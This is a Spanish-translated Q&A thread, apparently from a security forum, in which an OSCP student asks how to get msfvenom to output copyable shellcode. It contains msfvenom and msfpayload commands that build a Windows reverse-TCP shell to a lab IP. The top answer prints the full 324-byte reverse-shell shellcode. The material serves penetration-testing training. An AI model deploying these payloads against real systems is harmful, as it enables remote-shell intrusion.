MSFvenom no genera correctamente la salida de código de shell sin procesar

2

Estoy haciendo la sección de Explotación de Desbordamiento de Buffer de Windows del curso OSCP, y el autor usa una combinación de msfpayload y msfencode para generar una carga útil de windows/shell_reverse_tcp codificada con shikata ga nai. Este es el comando que usa:

msfpayload windows/shell_reverse_tcp LHOST=192.168.0.2 LPORT=443 R | msfencode -b '\x00\x0a\x0d' -e x86/shikata_ga_nai

El terminal muestra el siguiente código de código de código codificado:

x86/shikata_ga_nai succeeded with size 351 (iteration=1)
buf = 
"\xda\xc1\xba\x9d\x4a\x66\xd4\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x52\x83\xeb\xfc\x31\x53\x13\x03\xce\x59\x84\x21\x0c" +
"\xb5\xca\xca\xec\x46\xab\x43\x09\x77\xeb\x30\x5a\x28\xdb" +
…………
…………
"\x76"

Luego, puedo copiar el código shell generado en mi script de Python y continuar con el proceso de explotación de una aplicación.

Sé que tanto msfpayload como msfencode están en desuso, y MSFvenom debería usarse en su lugar. Este es el comando que estoy usando para lograr el mismo resultado que se indicó anteriormente.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.2 LPORT=443 -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -f raw

Esta es la salida que obtengo en el terminal:

���t$����9�X3ɱR1P ��� ���'� �� �� ��>pwZ�WdV��E�Y�V��L��ή�( �!T��� ] ^��~����.����cPN�'] bR)����0� !H̥�?$�g8����7uî����QfΡd�e��J�W�hm3m 4��-&B��-o��l� ��ʗ7ig_�n�Jf�wu�)�!�A J���� �4p��� ���¬���7G¬��0¬A�B¬D
……
�� �N&�

Como puede ver, no obtengo la salida real de Shellcode. ¿Qué estoy haciendo mal? Me gustaría que MSFvenom genere el código de shell que puedo copiar en mi script de Python.

    
pregunta Alex 02.09.2015 - 18:20
fuente

2 respuestas

6

Está utilizando un interruptor incorrecto. Esto debería funcionar, probarse y probarse durante la capacitación OSCP:

root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.12.51 LPORT=443 -f c
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x0c\x33\x68"
"\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
root@kali:~# 
    
respondido por el Zamoysky 04.11.2015 - 09:59
fuente
0

Parece que te falta una marca "-i". Esta bandera le dice al codificador cuántas veces se supone que debe ejecutarse. No estoy seguro si es necesario o la fuente de su problema, pero podría serlo. Además: siempre me gusta enviar shellcode en py con "-f py" y a un archivo para poder eliminar "buf +=" con buscar y reemplazar. También me gusta agregar un indicador "-a (x86 o x64)" y "--plataforma (ventanas)" solo por la extraña posibilidad de que algo salga mal sin estos.

    
respondido por el jaketheearthcake 11.11.2018 - 13:41
fuente

Lea otras preguntas en las etiquetas